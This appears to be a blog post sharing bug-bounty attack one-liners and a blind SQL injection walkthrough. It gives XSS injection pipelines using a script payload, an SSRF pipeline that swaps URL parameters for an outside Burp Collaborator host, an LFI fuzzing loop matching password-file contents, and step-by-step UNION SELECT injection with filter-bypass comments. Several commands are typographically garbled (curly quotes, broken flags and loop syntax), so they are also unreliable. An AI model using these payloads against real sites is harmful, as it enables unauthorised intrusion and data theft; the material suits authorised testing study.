Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

Advance Blind SQLi

Hi guys , Now i am sharing 20 lines of Tips with you to find SQLi and Vulnerable columns in a Website.



20 lines tips for Advance Blind SQLi 



1. post data

2. Vulnerable product=*

3. product=1'

4. Blank page

5. product=1'--+

6. Same blank

7. product=1')--+ product available

8. product=1') group by 1--+ blank page

9. product=1') order/*_*/by 1--+ blank page

10. product=1')--+ product available

11. product=1') order by 11--+ blank page

12. product=1') order by 10--+ product available

13. Columns 10

Let's find vulnerables

14. product=1') and 0 Union Select

15.  1,2,3,4,5,6,7,8,9 10--+ blank page

16. product=1') union select 1,2,3,4,5,6,7,8,9,10--+ blank page

17. product=1') Union/*_*/SeLect 1,2,3,4,5,6,7,8,9,10--+ product available

18. product=1') and 0 ======== blank page

19. product=1') and point (29,1)

20. UnIon/*_*/SeLect 1,2,3,4,5,6,7,8,9,10--+

 Vulnerable column 2 and 4

Bounty $$$$$$


Thanks.........

Comments

Post a Comment

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C